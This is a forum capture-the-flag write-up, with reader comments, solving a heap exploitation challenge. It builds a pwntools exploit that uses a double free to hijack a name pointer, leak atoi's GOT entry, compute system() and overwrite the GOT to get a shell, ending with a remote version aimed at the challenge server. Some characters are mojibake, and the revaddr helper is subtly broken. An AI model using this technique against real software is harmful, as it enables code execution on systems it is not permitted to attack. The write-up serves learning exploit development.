# Heap Exploitation | Playing with chunks!

###Solving a Heap exploitation challenge
In the name of Allah, the most beneficent, the most merciful.

• Thanks to @_py and @n0tnu11 who encouraged me, to write about such thingā¦

• I want to say sorry, cause i donāt write alot more articles, you know guys, studies ā¦

• It wasnāt easy for me to solve this challenge, took me alot of testing, almost two days.

• For learning purposes

• Challenge is only solved by 35, was 26 when i finished it!

Before we start, letās take a look at the informations given on the binary and what kind of protections are ONā¦

Oh yeah, the following protections are ON:

ASLR
NX
SSP
PARTIAL RELRO

Awesome, a perfect target, to start our heap exploitation adventure!
We have also, the source code, and the binary is given!

• Better find a music to listen to:
• I will listen to this!

Awesome, let me first run my VM machine, and then download the binary from the server!

Great, we now, should take a look at the source given, and try to make a plan for the attackā¦
We have 3 functions that seem important:

• creation() to allocateā¦
• change() to editā¦
• delete() to freeā¦
• show() to show informationā¦

Awesome, so now letās take a look at the functionsā¦

``````struct entry *creation() {
char name[64];
struct entry *e;

e = (struct entry *) malloc(sizeof(struct entry));

printf("Name: ");
fgets(name, NAME_LEN_MAX, stdin);
name[strlen(name)-1] = 0;
e->name = malloc(strlen(name));
strcpy(e->name, name);

printf("Age: ");
fgets(name,6,stdin);
e->age = atoi(name);

return e;
}
``````

Uhmm, it will allocate 2 chunks, one built on the struct of entryā¦
Keep in mind that the struct of entry looks like this:

``````struct entry {
int age;
char *name;
};
``````
• So, in the first allocated chunk there will be stored the age, and a pointer to next chunk, where name will be stored!

Great!
Now letās see the delete function!

``````void delete(int i) {
free(directory[i]->name);
free(directory[i]);
}
``````
• It will free the chunk containing the age and pointer to name, and the next chunk that contains the name!

The show() function:

``````void show(int i) {
printf("[%d] %s, %d years old\n", i, directory[i]->name, directory[i]->age);
}
``````
• Seems like it will print information about one chunk we choose!
• May lead to some kind of leak, if we controlled the *nameā¦

And the change() function!

``````void change(int e) {
char name[64];

printf("New name: ");
fgets(name, strlen(directory[e]->name)+1, stdin);

name[strlen(name)] = 0;
strcpy(directory[e]->name, name);
printf("New age: ");
fgets(name, 6, stdin);
directory[e]->age = atoi(name);
}
``````
• It will strcpy our first input to directory[e]->name, and the second input will be put in age!
• Thereās seems to be an offbyone bug there, may allow us to change the size of the next chunkā¦
• We can overwrite arbitrary address if we controlled *nameā¦

Questions that come to our head now!

• How can we overwrite the *name?

Well, this is the real problem, we should become creativeā¦
Letās start the program, and start analysing memory!

When we start it, we get this menuā¦

Letās start it again, but this time, using GDB, to analyse memory, and see our chunksā¦

• gdb ch44 -q

Awesome, letās now create a new entry!

Great, now letās take a look at memory, we will look at &directory!

• Ctrl + C to interrupt the execution and write c in gdb so it continues executing again!

Alright, letās see &directory!

Awesome, so the first entry is here: 0x605010!
Letās take a look at whatās in this area!

Great!
The structure of the chunk looks like as we said before!
( size + age + *name + prev_size + size + name + junkā¦ + wilderness )

Awesome, letās start writing the functions in our exploit.py

``````#!/usr/bin/python
from pwn import *

# PROCESS
c = process("./ch44")

# FUNCTIONS
def allocate( nm, age ):
c.sendline('1')
c.recvuntil(': ')
c.sendline( nm )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
def free( id ):
c.sendline('2')
c.recvuntil(': ')
c.sendline(str(id))
c.recvuntil('>')
def view( id ):
c.sendline('4')
c.recvuntil('[' + str(id) + '] ')
name = c.recvuntil(', ')[:-2]
age = c.recvuntil(' years')[:-6]
c.recvuntil('>')
return name, age
def edit( id, name, age ):
c.sendline('3')
c.recvuntil(': ')
c.sendline( str(id) )
c.recvuntil(': ')
c.sendline( name )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
# ATTACH
pause()

# EXPLOIT

# INTERACTIVE
c.interactive()
``````

Seems awesome, now we can start writing our exploit!

• We will mostly modify the EXPLOIT part

letās start by allocating some chunks, letās say 4 chunksā¦
What size of each chunk will we choose ?

• After analysing a bit and trying different chunk sizes, iāll choose 56, cause we can control all the chunk with that size, allowing us to overwrite the next chunk size with the offbyone we saw before!
``````# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
allocate( 'D'*56, 15 )
``````

Letās run the exploit now, and attach it to GDB!

• Now, we should write continue ( c ) in gdb and then press enter in the other terminal, where the exploit.py is running ( pause() )!
• After doing that, the four chunks will be allocated, and we will use CTRL + C in gdb again and then examine them in memory!

Great, all seems working just great!
What if we now free some chunks what will happen?

``````# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
allocate( 'D'*56, 15 )
free(2)
free(1)
``````
• Alright letās run the exploit again, and see how the chunks look like now!

• We can see that the FD of chunk 1 was set to the prev_size of chunk 2ā¦
• So now, what do we have?
• We have 4 free chunksā¦ letās try and allocate something that will fit the chunk with 0x21 in sizeā¦

• HELL YEAH!
• So, this maybe can help us, but not in this situationā¦
• Cause chunk 1 entry looks like this:

• Where 0x20690d0 is where chunk 2 entry startsā¦
• Then itās considered as a nameā¦

• Keep this in mind, it may help us laterā¦
• And since this way wonāt help us alot now, letās try and become more creativeā¦
• When we free a chunk, it will be placed in a free_list, then when we allocate a chunk it will placed there if the size fits it!

`So when we free chunk 1 then chunk 2 Free_list will look like this :`
Ā±------------------------Ā±------------------------+

• ////////CHUNK1/////// + ////////CHUNK2/////// +
Ā±------------------------Ā±------------------------+
`Then, when the next allocation happens, the first chunk to be filled is the last free()'d which is chunk2..`

But what if we freeād chunk2 two times, if we did it directly a crash occurs!

• We can free chunk2 then chunk1 then chunk2 again, and this will prevent the crash from happening ( double free )ā¦
• And free_list will look like thisā¦ chunk2 -> chunk1 -> NULL

Awesome, letās try that!

``````# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
allocate( 'D'*56, 15 )

free(2)
free(1)
free(2)
``````

And it worked, what if allocated another chunk of same size ( 56 ) now ?

``````# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
allocate( 'D'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'E'*56, 15 )
``````

• Uhmm, everything seems normal, letās examine memory and see how &directory looks like!

• Oh yeah, so we got two different index in directory that point to the same to the same area!
• So, if we free()'d one of them, we will have some kind of heapleakā¦
• We will try free()'ing chunk2 since itās the last one that got filled and chunk1 is now on top of free_list, free()'ing it will result in a crash!
• Oh no! we ended up in a crash while freeing both, letās try changing the exploit a bit to fit that!
``````# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)
``````
• Now that, seems just PERFECT!

• And here we gooo!
• We got a heap_leak, but thatās not what we are looking for, we should get a libc_leak!
• Remember the bug we found but didnāt use, that let us overwrite the *name, weāll try using it nowā¦
• We got to find a way to overwrite the *name of a chunk thatās in-use!
``````# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)

allocate( 'A'*16, 15 )
``````
• Nothing happens here, so letās free chunk 0, and allocate twiceā¦
``````# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)
free(0)

allocate( 'A'*16, 15 )
allocate( 'A'*16, 15 )
``````
• What, we got sigsegv when we tried to print entries!

• Seems weird, the first guess is that it tried reading from address 0x4141414141414141.
• Which is overwritten name pointer in chunk2!
• Letās examine in GDB to make sure!

• And yeah, it treated the AAAAAAAA as a PTR!
• Letās see now what we can do!
• We will add a part in exploit.py!
``````# ENTRIES
free_got = 0x602018
``````

We will also write a little function to return the address in littleendianā¦ since p64() didnāt put the address correctly in this exampleā¦

``````def revaddr(addr):
t = ""
for i in xrange(len(h) - 2, -2, -2):
m = i + 2
t += chr(int(h[i:m], 16))
return t
``````

And then letās comeback to exploit part and edit our exploit making the *name point to free_got!

``````# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)
free(0)

allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(free_got), 15 )
``````
• Awesome, now letās try showing entries!

• Perfect, now we got a libc_leak!
• We are going to use view() function to store the leak!
``````# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)
free(0)

allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(free_got), 15 )

name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
print 'free() @ ' + hex(leak)
``````
• I prefer changing atoi_got since itās an easier and more guaranteed way to get shell!
``````int choice(int min, int max, char * chaine) {
int i;
char buf[6];
i = -1;
while( (i < min) || (i > max)) {
printf("%s", chaine);
fgets(buf, 5, stdin);
i = atoi(buf); // HERE
}
return i ;
}
``````
• Great, now we know where atoi actually is, letās calculate where libc_base will be!
• Iāll use GDB!
• Using vmmap i got libc_base, and we leaked the address of atoi_got!
• Letās calculate atoi_got - libc_base and system - libc_base!

• Great, letās create a new part in exploit.py
``````# DIFF LOCAL
libcdiff = 0x34260
sysdiff = 0x3f460
``````

Letās now make use of them in the exploit part!

``````# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)
free(0)

allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(atoi_got), 15 )

name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
libc_base = leak - libcdiff
system = libc_base + sysdiff

print 'libc_base @ ' + hex(libc_base)
print 'system() @' + hex(system)
``````
• Letās test the exploit and see where we going!

• Great! now, letās use the change() function that we spoke about, and change the content of atoi_got to system!
• So in the end the exploit part will become the following!
``````# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)
free(0)

allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(atoi_got), 15 )

name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
libc_base = leak - libcdiff
system = libc_base + sysdiff

print 'libc_base @ ' + hex(libc_base)
print 'system() @' + hex(system)

edit( 1, p64(system), 'sh\x00' )
``````
• Alright letās run the exploit now!

• Awesome, we got our shell, but thatās in local onlyā¦
• Letās first collect all parts in our current exploit.py!
``````#!/usr/bin/python
from pwn import *

# ENTRIES
atoi_got = 0x602078

# PROCESS
c = process("./ch44")

# DIFF LOCAL
libcdiff = 0x34260
sysdiff = 0x3f460

# FUNCTIONS
def allocate( nm, age ):
c.sendline('1')
c.recvuntil(': ')
c.sendline( nm )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
def free( id ):
c.sendline('2')
c.recvuntil(': ')
c.sendline(str(id))
c.recvuntil('>')
def view( id ):
c.sendline('4')
c.recvuntil('[' + str(id) + '] ')
name = c.recvuntil(', ')[:-2]
age = c.recvuntil(' years')[:-6]
c.recvuntil('>')
return name, age
def edit( id, name, age ):
c.sendline('3')
c.recvuntil(': ')
c.sendline( str(id) )
c.recvuntil(': ')
c.sendline( name )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
t = ""
for i in xrange(len(h) - 2, -2, -2):
m = i + 2
t += chr(int(h[i:m], 16))
return t

# ATTACH
pause()

# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)
free(0)

allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(atoi_got), 15 )

name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
libc_base = leak - libcdiff
system = libc_base + sysdiff

print 'libc_base @ ' + hex(libc_base)
print 'system() @' + hex(system)

edit( 1, p64(system), 'sh\x00' )

# INTERACTIVE
c.interactive()
``````
• Letās connect to the server and see the libc used!
• Weāll run the program using gdb then break using CTRL + C then:

• So the libc is located at : /lib/x86_64-linux-gnu/libc.so.6

• then weāll use libcdatabase -> ./add libc.so.6

• We got everything we need, except atoi!

• We will now edit a part in exploit.py!
``````# DIFF REMOTE
libcdiff = 0x39ea0
sysdiff = 0x46590
``````
• And we will also set c to remote!
``````# REMOTE
c = remote( 'challenge03.root-me.org', 56544 )
``````
• The full exploit now looks like this:
``````#!/usr/bin/python
from pwn import *

# ENTRIES
atoi_got = 0x602078

# REMOTE
c = remote( 'challenge03.root-me.org', 56544 )

# DIFF REMOTE
libcdiff = 0x39ea0
sysdiff = 0x46590

# FUNCTIONS
def allocate( nm, age ):
c.sendline('1')
c.recvuntil(': ')
c.sendline( nm )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
def free( id ):
c.sendline('2')
c.recvuntil(': ')
c.sendline(str(id))
c.recvuntil('>')
def view( id ):
c.sendline('4')
c.recvuntil('[' + str(id) + '] ')
name = c.recvuntil(', ')[:-2]
age = c.recvuntil(' years')[:-6]
c.recvuntil('>')
return name, age
def edit( id, name, age ):
c.sendline('3')
c.recvuntil(': ')
c.sendline( str(id) )
c.recvuntil(': ')
c.sendline( name )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
t = ""
for i in xrange(len(h) - 2, -2, -2):
m = i + 2
t += chr(int(h[i:m], 16))
return t

# ATTACH
pause()

# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )

free(2)
free(1)
free(2)

allocate( 'D'*56, 15 )

free(2)
free(0)

allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(atoi_got), 15 )

name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
libc_base = leak - libcdiff
system = libc_base + sysdiff

print 'libc_base @ ' + hex(libc_base)
print 'system() @' + hex(system)

edit( 1, p64(system), 'sh\x00' )

# INTERACTIVE
c.interactive()
``````
• Letās now run the exploit and see the resultā¦

• And we got our shell!
• Hope you enjoyed, and learned too!
• See you all in next article

~ exploit

17 Likes

This has been my first encounter with heap exploitation, and Iāve got to say, I learnt a lot just reading through this.

Slightly unrelated things as well, such as `gdb --pid`, or the `c = process()` syntax. Little things like this are really super helpful when youāre starting out in Exploit Dev.

The ASLR bypass is also interesting to note, I never knew the libc-database tool existed, using this tool, would the libc offsets be consistent across machines? Or is it something that is specific?

2 Likes
• The goal of using that tool was getting the address of system(), knowing that libc file is provided !
• Also sometimes, the libc file isnāt provided, so a website is used, which is: libcdb.com! ( will be discussed maybe later )
• Only the libc_base is randomized, the differences stay the same!
• the thing you should now is: if you know the address of a function in libc, and keep in mind that difference between addresses in libc doesnāt change, but stays the same, you can calculate it!
• But to do so, you should have the differences, thatās why i used libcdatabase, to help me get libc_base, by substracting the diff of the leaked functionās address from the leaked address!
• And then adding the system_diff to the result of substraction, that would get system() address in libc!

Conclusion : if you have the libc, you can get the difference of every libc function from libc_base and then calculate the address of system() or whatever you want in libc easily!

3 Likes

Ah, that makes much more sense. Another question: How did you find the EIP? I am assuming that is the pointer you overwrote. Was it just trial and error?

2 Likes
• We didnāt change the saved RIP like the last article !
• This time we went more creative by changing a GOT entry, making it point to calculated system() !
• Then using that to pop a shell
• We changed atoi_got to calculated system() address, then knowing where atoi() is used, by viewing the source:
``````int choice(int min, int max, char * chaine) {
int i;
char buf[6];
i = -1;
while( (i < min) || (i > max)) {
printf("%s", chaine);
fgets(buf, 5, stdin);
i = atoi(buf); // HERE
}
return i ;
}
``````
• So, when we input our choice, atoi() is called on the userinput, well if we set atoi() to system() it will be:
• system(buf), and that will lead to a shell, if the input is āsh\x00ā !
3 Likes

Supa Hot fire , I like your articles , detailed info and helpful keep going

1 Like

Thank you *_*